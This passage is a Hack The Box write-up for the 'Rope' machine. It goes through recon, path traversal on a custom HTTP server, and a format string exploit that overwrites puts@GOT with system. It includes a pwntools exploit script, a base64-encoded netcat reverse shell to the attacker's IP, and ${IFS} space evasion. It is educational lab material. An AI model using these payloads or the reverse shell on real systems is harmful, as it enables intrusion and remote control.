This article contains my writeup on the machine Rope
from Hack The Box. I really enjoyed the box, since it provides a total of three custom binaries, which are supposed to be exploited 🙂
The article is divided into the following parts:
→ User
    – Initial Recon
    – httpserver
    – Leak Memory Address
    – Exploit Format String Vulnerability
    – Escalating from john to r4j (readlogs)
→ Root
    – Local Recon
    – contact
    – Bruteforce
    – Libc Leak
    – Final Exploit
User
Initial Recon
We start by scanning the 1000 most common ports using nmap
(-sV
: version detection, -sC
: run default scripts):
root@kali:~/htb/boxes/rope# nmap -sV -sC 10.10.10.148
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-08 06:50 EDT
Nmap scan report for 10.10.10.148
Host is up (0.010s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 56:84:89:b6:8f:0a:73:71:7f:b3:dc:31:45:59:0e:2e (RSA)
| 256 76:43:79:bc:d7:cd:c7:c7:03:94:09:ab:1f:b7:b8:2e (ECDSA)
|_ 256 b3:7d:1c:27:3a:c1:78:9d:aa:11:f7:c6:50:57:25:5e (ED25519)
9999/tcp open abyss?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache
| Content-length: 4871
| Content-type: text/html
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <title>Login V10</title>
...
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.80%I=7%D=10/8%Time=5D9C69E2%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1378,"HTTP/1\.1\x20200\x20OK\r\nAccept-Ranges:\x20bytes\r\nCac
SF:he-Control:\x20no-cache\r\nContent-length:\x204871\r\nContent-type:\x20
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.66 seconds
Accordingly there is an OpenSSH
server running on port 22
. Port 9999
is also open, though nmap
cannot determine the service/version. Based on the output it is obviously a web server running on this port.
Do not forget to also run a full port scan e.g. using nmap 10.10.10.148 -p-
. We should also check for UDP
services, though there are none running here.
Since we cannot do much with SSH for now, let’s have a closer look at the web server running on port 9999
. The root-page displays a login prompt:
There is some javascript code for clientside validation of the input fields, but this does not lead to anything useful. When static resources like the root-page are accessed the server does not provide a Server
header, which may reveal what kind of web server is in place:
root@kali:~/htb/boxes/rope# curl -v http://10.10.10.148:9999
* Trying 10.10.10.148:9999...
* TCP_NODELAY set
* Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.148:9999
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: no-cache
< Content-length: 4871
< Content-type: text/html
<
<!DOCTYPE html>
<html lang="en">
...
However, when we try to access a non existing page, a Server
header is provided:
root@kali:~/htb/boxes/rope# curl -v http://10.10.10.148:9999/totally_not_existing
* Trying 10.10.10.148:9999...
* TCP_NODELAY set
* Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0)
> GET /totally_not_existing HTTP/1.1
> Host: 10.10.10.148:9999
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not found
< Server: simple http server
< Content-length: 14
<
* Connection #0 to host 10.10.10.148 left intact
File not found
Accordingly the server is called simple http server
. Despite the similar name of the popular python SimpleHTTP server (banner: SimpleHTTP/0.6 Python/XXX
), this does not seem to be a well-known web server.
By feeding some custom inputs to the web server, we can figure out that we can list all files in the web server’s current directory by simply issuing a GET
request to .
(dot):
root@kali:~/htb/boxes/rope# echo -ne 'GET .\r\n\r\n'|nc 10.10.10.148 9999
HTTP/1.1 200 OK
Server: simple http server
Content-Type: text/html
<html><head><style>body{font-family: monospace; font-size: 13px;}td {padding: 1.5px 6px;}</style></head><body><table>
<tr><td><a href="fonts/">fonts/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr>
<tr><td><a href="index.html">index.html</a></td><td>2019-06-19 17:34</td><td>4.8K</td></tr>
<tr><td><a href="images/">images/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr>
<tr><td><a href="httpserver">httpserver</a></td><td>2019-06-19 17:30</td><td>21.3K</td></tr>
<tr><td><a href="js/">js/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr>
<tr><td><a href="vendor/">vendor/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr>
<tr><td><a href="css/">css/</a></td><td>2018-01-06 16:45</td><td>[DIR]</td></tr>
<tr><td><a href="run.sh">run.sh</a></td><td>2019-06-20 07:27</td><td>85</td></tr>
</table></body></html>
The directory contains a file called httpserver
, which probably is the web server itself. So let’s grab this file:
root@kali:~/htb/boxes/rope# mkdir loot
root@kali:~/htb/boxes/rope# cd loot
root@kali:~/htb/boxes/rope/loot# wget http://10.10.10.148:9999/httpserver
--2019-10-08 07:44:04-- http://10.10.10.148:9999/httpserver
Connecting to 10.10.10.148:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21840 (21K) [text/plain]
Saving to: ‘httpserver’
httpserver 100%[==========================================================>] 21.33K --.-KB/s in 0.01s
2019-10-08 07:44:04 (2.17 MB/s) - ‘httpserver’ saved [21840/21840]
httpserver
The file is a 32-bit ELF binary:
root@kali:~/htb/boxes/rope/loot# file httpserver
httpserver: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e4e105bd11d096b41b365fa5c0429788f2dd73c3, not stripped
Stack canaries
, NX
as well as PIE
are enabled:
root@kali:~/htb/boxes/rope/loot# checksec httpserver
[*] '/root/htb/boxes/rope/loot/httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
In order to get a quick overview what the binary is doing, I usually use ghidra
. By giving the used variables meaningful names and adding comments to the decompiled code it is a good way to document acquired insights.
The following pictures shows an excerpt of the decompile window of ghidra
. The main
function of the program is listening for new connections in an infinite loop and calls the function process
for every new connection:
Within the process
function a new process is forked to handle the connection. This process parses the HTTP request and sends the respective HTTP response. The details are not relevant for our consideration, so I skip them here. After spending some time to get a good overview of how the HTTP request is parsed and how the response is constructed, I started looking for obvious vulnerabilities. The function log_access
, which logs each HTTP request, quickly caught my attention:
The decompiled output from ghidra
quickly shows that on line 19 a variable (param_3
) is passed as the first parameter to printf
. As the first parameter of printf
is the format string to be used, this should in almost all cases be a static string instead of a dynamic variable. If the user can control this variable, the program is prone to a format string vulnerability.
In order to determine what the variable param_3
contains, we can analyze the code statically or simple run the program locally in gdb
and set a breakpoint on the log_access
function. To conveniently debug the program, we can run the binary (./httpserver
) and attach to the running process afterwards:
root@kali:~/htb/boxes/rope/loot# gdb ./httpserver $(pidof httpserver)
...
gdb-peda$ b *log_access
Breakpoint 1 at 0x56557077
gdb-peda$ c
Continuing.
This way we can send different payloads to the server without restarting it all the time.
If we now issue a HTTP request to the locally running web server, the breakpoint is hit:
root@kali:~# curl http://0:9999
...
[Attaching after process 7413 fork to child process 7435]
[New inferior 2 (process 7435)]
[Detaching after fork from parent process 7413]
[Inferior 1 (process 7413) detached]
[Switching to process 7435]
[----------------------------------registers-----------------------------------]
EAX: 0xffffc9d4 ("./index.html")
EBX: 0x5655a000 --> 0x4efc
ECX: 0x7ffffff5
EDX: 0xf7fb2010 --> 0x0
ESI: 0xf7fb0000 --> 0x1d6d6c
EDI: 0xf7fb0000 --> 0x1d6d6c
EBP: 0xffffd1e8 --> 0xffffd348 --> 0x0
ESP: 0xffffc93c --> 0x565576e3 (<process+524>: add esp,0x10)
EIP: 0x56557077 (<log_access>: push ebp)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56557072 <parse_request+595>: mov ebx,DWORD PTR [ebp-0x4]
0x56557075 <parse_request+598>: leave
0x56557076 <parse_request+599>: ret
=> 0x56557077 <log_access>: push ebp
0x56557078 <log_access+1>: mov ebp,esp
0x5655707a <log_access+3>: push esi
0x5655707b <log_access+4>: push ebx
0x5655707c <log_access+5>: sub esp,0x20
[------------------------------------stack-------------------------------------]
0000| 0xffffc93c --> 0x565576e3 (<process+524>: add esp,0x10)
0004| 0xffffc940 --> 0xc8
0008| 0xffffc944 --> 0xffffd22c --> 0xaae40002
0012| 0xffffc948 --> 0xffffc9d4 ("./index.html")
0016| 0xffffc94c --> 0x13
0020| 0xffffc950 --> 0xffffc9a4 --> 0xf7ec0000 (<wordexp+2656>: test BYTE PTR [eax+ecx*4],ah)
0024| 0xffffc954 --> 0xffffc9a0 --> 0x0
0028| 0xffffc958 --> 0xffffd22c --> 0xaae40002
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 2.1 "httpserver" hit Breakpoint 1, 0x56557077 in log_access ()
gdb-peda$
The third parameter (param_3
) is the fourth item on the stack, which is the string "./index.html"
. This is the resource we requested within the HTTP request (in this case the string "./index.html"
was set by the program since we only queried the root-page "/"
). If you experience that the breakpoint is not hit on the first request, just resend the request and the breakpoint will eventually be hit.
In order to verify that the web server is vulnerable to a format string vulnerability, let’s start by dumping a few memory address. In order to do this, we can request a resource, which contains the format specifier %p
. When getting a quick overview of the program you probably noticed that the requested resource is URL decoded by calling the function url_decode
before being logged. This function simply looks for a percent sign (%
) and interprets the following two characters as a hex value. This simply means, that we have to URL encode the percent sign we want to use in our format specifier (%25
):
root@kali:~/htb/boxes/rope# echo -ne 'GET %25p.%25p.%25p.%25p\r\n\r\n'|nc 0 9999
HTTP/1.1 404 Not found
Server: simple http server
Content-length: 14
File not found
...
accept request, fd is 4, pid is 9115
127.0.0.1:35620 404 - 0xf7f840dc.0x8b24.0x194.0xfff32ab8
request method:
GET
We successfully dumped four values from memory and confirmed that the program is vulnerable to a format string vulnerability.
How can we exploit this?
We have already seen that the program is not compiled with full RELRO
:
root@kali:~/htb/boxes/rope/loot# checksec httpserver
[*] '/root/htb/boxes/rope/loot/httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
This means that we can overwrite an entry within the GOT
in order to control the instruction pointer. The problem is that the program is compiled as a Position Independent Executable
(PIE
) and we thus don’t know the address of the GOT
. Accordingly we need a leak first.
Leak Memory Address
We have already seen, that the web server can be used to list the content of the current directory. We can also traverse through the file system and read arbitrary files (if we have read access). For example we can read the passwd
file using the following command:
root@kali:~/htb/boxes/rope# echo -ne 'GET ../../etc/passwd\r\n\r\n'|nc 10.10.10.148 9999
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 1594
Content-type: text/plain
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
r4j:x:1000:1000:r4j:/home/r4j:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
In order to get the address of the current process, we should simply be able to read the memory maps from /proc/self/maps
:
root@kali:~/htb/boxes/rope# echo -ne 'GET ../../proc/self/maps\r\n\r\n'|nc 10.10.10.148 9999
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 0
Content-type: text/plain
Ouh? We get a HTTP 200 OK response, but the response body is empty. Also the Content-length
is set to zero. Why is this?
The reason for this is that /proc
is a pseudo-file system. The output when we run cat /proc/self/maps
is generated on the fly. There is no file stored on the hard disk waiting to be read. Because of this the file size is actually zero. The following example program demonstrates this:
root@kali:~/htb/boxes/rope/test# cat fstat_test.c
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
if (argc < 2) return -1;
int f = open(argv[1], O_RDONLY);
struct stat buffer;
fstat(f, &buffer);
printf("size: %d\n", buffer.st_size);
close(f);
return 0;
}
root@kali:~/htb/boxes/rope/test# gcc fstat_test.c -o fstat_test
root@kali:~/htb/boxes/rope/test# ./fstat_test /etc/passwd
size: 2996
root@kali:~/htb/boxes/rope/test# ./fstat_test /proc/self/maps
size: 0
We can also see that the file size is zero using ls
:
root@kali:~/htb/boxes/rope/test# ls -al /proc/self/maps
-r--r--r-- 1 root root 0 Oct 8 09:50 /proc/self/maps
Because of this the web server can open /proc/self/maps
but only sends zero bytes from the file. Luckily the web server provides a way to actively set the file size we want to read by setting the Range
header:
By providing this header in the request, we can successfully read the memory layout from /proc/self/maps
:
root@kali:~/htb/boxes/rope/test# echo -ne 'GET ../../proc/self/maps\r\nRange: bytes=0-10000\r\n\r\n'|nc 10.10.10.148 9999
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 10001
Content-type: text/plain
56624000-56625000 r--p 00000000 08:02 660546 /opt/www/httpserver
56625000-56627000 r-xp 00001000 08:02 660546 /opt/www/httpserver
56627000-56628000 r--p 00003000 08:02 660546 /opt/www/httpserver
56628000-56629000 r--p 00003000 08:02 660546 /opt/www/httpserver
56629000-5662a000 rw-p 00004000 08:02 660546 /opt/www/httpserver
57367000-57389000 rw-p 00000000 00:00 0 [heap]
f7de3000-f7fb5000 r-xp 00000000 08:02 660685 /lib32/libc-2.27.so
f7fb5000-f7fb6000 ---p 001d2000 08:02 660685 /lib32/libc-2.27.so
f7fb6000-f7fb8000 r--p 001d2000 08:02 660685 /lib32/libc-2.27.so
f7fb8000-f7fb9000 rw-p 001d4000 08:02 660685 /lib32/libc-2.27.so
f7fb9000-f7fbc000 rw-p 00000000 00:00 0
f7fc5000-f7fc7000 rw-p 00000000 00:00 0
f7fc7000-f7fca000 r--p 00000000 00:00 0 [vvar]
f7fca000-f7fcc000 r-xp 00000000 00:00 0 [vdso]
f7fcc000-f7ff2000 r-xp 00000000 08:02 660681 /lib32/ld-2.27.so
f7ff2000-f7ff3000 r--p 00025000 08:02 660681 /lib32/ld-2.27.so
f7ff3000-f7ff4000 rw-p 00026000 08:02 660681 /lib32/ld-2.27.so
ff98a000-ff9ab000 rw-p 00000000 00:00 0 [stack]
Because the program is forking new child processes, the addresses will stay the same on every request.
Exploit Format String Vulnerability
Since we now have leaked the memory maps of the process, we can forge an exploit for the format string vulnerability.
As already mentioned, our goal is to overwrite an entry within the GOT
. The only function, which is called after the printf
is puts
(line 20-22):
The easiest way to get a shell by overwriting a single address is to use a one_gadget (see my article on heap exploitation for an explanation). The problem in this case is that the shell will be bound to stdin/stdout
(fd 0/1
), but we are interacting with the process through a socket connection (fd 4
). In order to interact with the shell, we could call dup2(4,0)
and dup(4,1)
, which would bind stdin
and stdout
to the socket connection. Though, the format string vulnerability cannot be easily used to write all the data necessary to trigger those calls.
Thus I decided not to use a one_gadget. Instead let’s have a look at the puts
calls after the printf
again:
The third puts
on line 22
will print out the request method. We make the request. We control the request method. This means we control the one and only parameter to puts
, which is a string. If we change puts
to system
by overwriting the GOT
entry of puts
with the address of system
, we can trigger an arbitrary OS command. We only have to set the request method to the name of the program, we want to execute.
The details on how to leverage a format string vulnerability to write data using the %n
format specifier can also be read in my article on RPISEC/MBE lab4B. Though, let’s quickly recap the necessary steps. At first we need to know where on the stack the format string itself is located at the time printf
is called. In order to do this, we set a breakpoint on the printf
call …
gdb-peda$ disassemble log_access
Dump of assembler code for function log_access:
...
0x565570e5 <+110>: mov eax,DWORD PTR [ebp-0x24]
0x565570e8 <+113>: sub esp,0xc
0x565570eb <+116>: push eax
0x565570ec <+117>: call 0x56556060 <printf@plt>
...
End of assembler dump.
gdb-peda$ b *log_access+117
Breakpoint 1 at 0x565570ec
gdb-peda$ c
… and send a request to our local server:
root@kali:~/htb/boxes/rope# echo -ne 'GET AAAA\r\n\r\n'|nc 0 9999
HTTP/1.1 404 Not found
Server: simple http server
Content-length: 14
File not found
The breakpoint is hit:
[----------------------------------registers-----------------------------------]
EAX: 0xffffc984 ("AAAA")
EBX: 0x5655a000 --> 0x4efc
ECX: 0x7fffffec
EDX: 0xf7fb2010 --> 0x0
ESI: 0xdea8
EDI: 0xf7fb0000 --> 0x1d6d6c
EBP: 0xffffc8e8 --> 0xffffd198 --> 0xffffd2f8 --> 0x0
ESP: 0xffffc8b0 --> 0xffffc984 ("AAAA")
EIP: 0x565570ec (<log_access+117>: call 0x56556060 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x565570e5 <log_access+110>: mov eax,DWORD PTR [ebp-0x24]
0x565570e8 <log_access+113>: sub esp,0xc
0x565570eb <log_access+116>: push eax
=> 0x565570ec <log_access+117>: call 0x56556060 <printf@plt>
0x565570f1 <log_access+122>: add esp,0x10
0x565570f4 <log_access+125>: sub esp,0xc
0x565570f7 <log_access+128>: lea eax,[ebx-0x1e1e]
0x565570fd <log_access+134>: push eax
Guessed arguments:
arg[0]: 0xffffc984 ("AAAA")
[------------------------------------stack-------------------------------------]
0000| 0xffffc8b0 --> 0xffffc984 ("AAAA")
0004| 0xffffc8b4 --> 0xf7fcf0dc ("127.0.0.1")
0008| 0xffffc8b8 --> 0xdea8
0012| 0xffffc8bc --> 0x194
0016| 0xffffc8c0 --> 0xffffd198 --> 0xffffd2f8 --> 0x0
0020| 0xffffc8c4 --> 0xffffc984 ("AAAA")
0024| 0xffffc8c8 --> 0xffffd1dc --> 0xa8de0002
0028| 0xffffc8cc --> 0x194
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 2.1 "httpserver" hit Breakpoint 1, 0x565570ec in log_access ()
gdb-peda$
Now we can search where on the stack the format string ("AAAA"
) is located:
gdb-peda$ searchmem "AAAA"
Searching for 'AAAA' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0xffffb8e0 ("AAAA\r\n\r\n")
[stack] : 0xffffbce0 ("AAAA\r\n")
[stack] : 0xffffc984 ("AAAA")
The string is stored on the stack three times. Since we can only reference items below the current stack address (higher address value), only the last one is suitable. In order to calculate the value for the argument selector we simply subtract this address from the current stack address and divide it by 4 (32bit):
gdb-peda$ p/d (0xffffc984-0xffffc8b0)/4
$1 = 53
Thus the argument selector which references the format string itself is 53
. We can quickly verify this by making the following request (remember to URL encode the percent sign '%'
):
root@kali:~/htb/boxes/rope# echo -ne 'GET AAAA%2553$p\r\n\r\n'|nc 0 9999
...
root@kali:~/htb/boxes/rope/loot# ./httpserver
listen on port 9999, fd is 3
accept request, fd is 4, pid is 3700
127.0.0.1:57002 404 - AAAA0x41414141
request method:
GET
The string "AAAA"
is followed by the value 0x41414141
, which is indeed the format string. Thus we successfully determined the value for the argument selector.
Before we can carry on, we need to determine a few addresses and offsets. Namely we need to know the following:
- address of image base
- address of libc base
- offset of
puts
GOT
entry within the image - offset of
system
within the libc
We have already figured out, that we can leak the addresses through /proc/self/maps
. The following python script carries out the corresponding request and extracts the image base and libc base:
#!/usr/bin/env python
from pwn import *
debug = False
rhost = '10.10.10.148'
rport = 9999
if (debug): rhost = '127.0.0.1'
# leak image and libc base
io = remote(rhost, rport)
io.send('GET ../../proc/self/maps\r\nRange: bytes=0-10000\r\n\r\n')
maps = io.recvuntil('[stack]').split('\n')
img_base = int(maps[6].split('-')[0], 16) # 7th line contains image base
libc_base = int(maps[12].split('-')[0], 16) # 13th line contains libc base
log.info('img_base : ' + hex(img_base))
log.info('libc_base: ' + hex(libc_base))
io.close()
Running the script displays both addresses:
root@kali:~/htb/boxes/rope# ./expl.py
[+] Opening connection to 10.10.10.148 on port 9999: Done
[*] img_base : 0x565ec000
[*] libc_base: 0xf7cff000
In order to determine the offset of the GOT
entry of puts
, we can for example use gdb
:
root@kali:~/htb/boxes/rope/loot# gdb ./httpserver
GNU gdb (Debian 8.3-1) 8.3
...
gdb-peda$ p &'puts@got.plt'
$1 = (<text from jump slot in .got.plt, no debug info> *) 0x5048 <puts@got.plt>
gdb-peda$
Accordingly the offset is 0x5048
.
In order to determine the offset of the system
function within the libc, we need to get the libc version from the server. Within the memory maps of the server process, we have already seen which libc is used: /lib32/libc-2.27.so
. Let’s download it using nc
(we must cut the first bytes, which contain the HTTP response header):
root@kali:~/htb/boxes/rope/loot# echo -ne 'GET ../../lib32/libc-2.27.so\r\n\r\n'|nc 10.10.10.148 9999 > libc-2.27.so.req
root@kali:~/htb/boxes/rope/loot# hexdump -C libc-2.27.so.req|head
00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d |HTTP/1.1 200 OK.|
00000010 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 |.Accept-Ranges: |
00000020 62 79 74 65 73 0d 0a 43 61 63 68 65 2d 43 6f 6e |bytes..Cache-Con|
00000030 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a |trol: no-cache..|
00000040 43 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 |Content-length: |
00000050 31 39 32 36 38 32 38 0d 0a 43 6f 6e 74 65 6e 74 |1926828..Content|
00000060 2d 74 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 |-type: text/plai|
00000070 6e 0d 0a 0d 0a 7f 45 4c 46 01 01 01 03 00 00 00 |n.....ELF.......|
00000080 00 00 00 00 00 03 00 03 00 01 00 00 00 00 90 01 |................|
00000090 00 34 00 00 00 0c 5c 1d 00 00 00 00 00 34 00 20 |.4....\......4. |
root@kali:~/htb/boxes/rope/loot# dd if=libc-2.27.so.req of=libc-2.27.so bs=1 skip=$(rax2 0x75)
1926828+0 records in
1926828+0 records out
1926828 bytes (1.9 MB, 1.8 MiB) copied, 2.92157 s, 660 kB/s
root@kali:~/htb/boxes/rope/loot# file libc-2.27.so
libc-2.27.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=63b3d43ad45e1b0f601848c65b067f9e9b40528b, for GNU/Linux 3.2.0, stripped
Now we can for example use pwntools
to determine the offset of system
:
root@kali:~/htb/boxes/rope/loot# python
Python 2.7.16+ (default, Sep 4 2019, 08:19:57)
[GCC 9.2.1 20190827] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> libc = ELF('libc-2.27.so')
[*] '/root/htb/boxes/rope/loot/libc-2.27.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
>>> hex(libc.symbols['system'])
'0x3cd10'
The offset is 0x3cd10
.
In order to debug the program locally, we have to use the system
offset from our local libc:
root@kali:~/htb/boxes/rope/loot# ldd httpserver
linux-gate.so.1 (0xf7fd3000)
libc.so.6 => /lib32/libc.so.6 (0xf7dd3000)
/lib/ld-linux.so.2 (0xf7fd4000)
root@kali:~/htb/boxes/rope/loot# python
Python 2.7.16+ (default, Sep 4 2019, 08:19:57)
[GCC 9.2.1 20190827] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> libc = ELF('/lib32/libc.so.6')
[*] '/lib32/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
>>> hex(libc.symbols['system'])
'0x423d0'
In order to write the address of system
to the GOT
entry of puts
, we split the 4-byte-write into two 2-byte-writes using the format specifier %hn
. Because of this we have to store the address of puts_got
and puts_got+2
at the beginning of the format string. After this we pad the output to create enough bytes to write the value of the system
address (as mentioned before, details on this can be read in this article):
# calculate addresses
puts_got = img_base + 0x5048 # live server
system = libc_base + 0x3cd10 # live server
if (debug): system = libc_base + 0x423d0 # local
log.info('puts_got : ' + hex(puts_got))
log.info('system : ' + hex(system))
# craft format string
system_lword = system & 0xffff
system_hword = system >> 16
fmt = p32(puts_got)
fmt += p32(puts_got+2)
fmt += '%25'+str(system_lword-8)+'x'
fmt += '%2553$hn'
fmt += '%25'+str(system_hword-system_lword)+'x'
fmt += '%2554$hn'
io = remote(rhost, rport)
io.send('GET '+fmt+'\r\n\r\n')
io.interactive()
Let’s verify if the GOT
entry is successfully overwritten by setting a breakpoint on the printf
call and run the python script against our local server. When the breakpoint is hit before the printf
call, the GOT
entry contains the value 0x56556126
:
...
[-------------------------------------code-------------------------------------]
0x565570e5 <log_access+110>: mov eax,DWORD PTR [ebp-0x24]
0x565570e8 <log_access+113>: sub esp,0xc
0x565570eb <log_access+116>: push eax
=> 0x565570ec <log_access+117>: call 0x56556060 <printf@plt>
0x565570f1 <log_access+122>: add esp,0x10
0x565570f4 <log_access+125>: sub esp,0xc
0x565570f7 <log_access+128>: lea eax,[ebx-0x1e1e]
0x565570fd <log_access+134>: push eax
Guessed arguments:
arg[0]: 0xffffc9d4 --> 0x5655a048 ("&aUV6aUVFaUVVaUV\360*\354\367vaUV\206aUV\300\a\341\367\020=\354\367\340-\346\367\360v\337\367\220/\354\367p[\355\367\260\244\342\367\220\253\361\367\026bUV0\266\351\367\066bUV0H\356\367\320]\355\367fbUV@H\356\367\206bUV@\224\342\367\246bUVpb\355\367\320:\354\367\326bUV")
[------------------------------------stack-------------------------------------]
0000| 0xffffc900 --> 0xffffc9d4 --> 0x5655a048 ("&aUV6aUVFaUVVaUV\360*\354\367vaUV\206aUV\300\a\341\367\020=\354\367\340-\346\367\360v\337\367\220/\354\367p[\355\367\260\244\342\367\220\253\361\367\026bUV0\266\351\367\066bUV0H\356\367\320]\355\367fbUV@H\356\367\206bUV@\224\342\367\246bUVpb\355\367\320:\354\367\326bUV")
0004| 0xffffc904 --> 0xf7fcf0dc ("127.0.0.1")
...
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 2.1 "httpserver" hit Breakpoint 1, 0x565570ec in log_access ()
gdb-peda$ x/xw 0x5655a048
0x5655a048 <puts@got.plt>: 0x56556126
Stepping over the printf
call (ni
), we can see that the value changed:
gdb-peda$ ni
...
gdb-peda$ x/xw 0x5655a048
0x5655a048 <puts@got.plt>: 0xf7e1b3d0
This is actually the address of system
:
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e1b3d0 <system>
Now all subsequent calls to puts
will turn into calls to system
:
This means that the program will call:
system("");
system("request method:");
system(param_3+0x400);
The first two calls will probably fail, though we do not care. The third call uses the variable param_3+0x400
, which is the request method as we already figured out. Let’s have a look at what is happening, if we change the request method to /bin/sh
:
...
fmt += '%25'+str(system_hword-system_lword)+'x'
fmt += '%2554$hn'
io = remote(rhost, rport)
io.send('/bin/sh '+fmt+'\r\n\r\n')
io.interactive()
root@kali:~/htb/boxes/rope/loot# ./httpserver
listen on port 9999, fd is 3
...
sh: 1: request: not found
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
We can actually see, that the server tried to run the program request
from the second call. After this /bin/sh
is executed, spawning a shell. However this shell is bound to stdin/stdout
of the server and we cannot interact with it. We can circumvent this by running a command, which gives us a detached shell. For this purpose I tried different reverse shells from pentestmonkey.net. In order to avoid problems with special characters, we can base64 encode the reverse shell beforehand:
root@kali:~/htb/boxes/rope# echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.12.95 7001 >/tmp/f' | base64 -w0
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTIuOTUgNzAwMSA+L3RtcC9mCg==
And decode it on the server:
payload = 'echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTIuOTUgNzAwMSA+L3RtcC9mCg==|base64 -d|bash'
Now the payload contains spaces, which will separate the request method from the requested resource. This won’t work, since we need all of the payload to be within the request method. In order to prevent spaces, we can use the internal field separator:
payload = payload.replace(' ', '${IFS}')
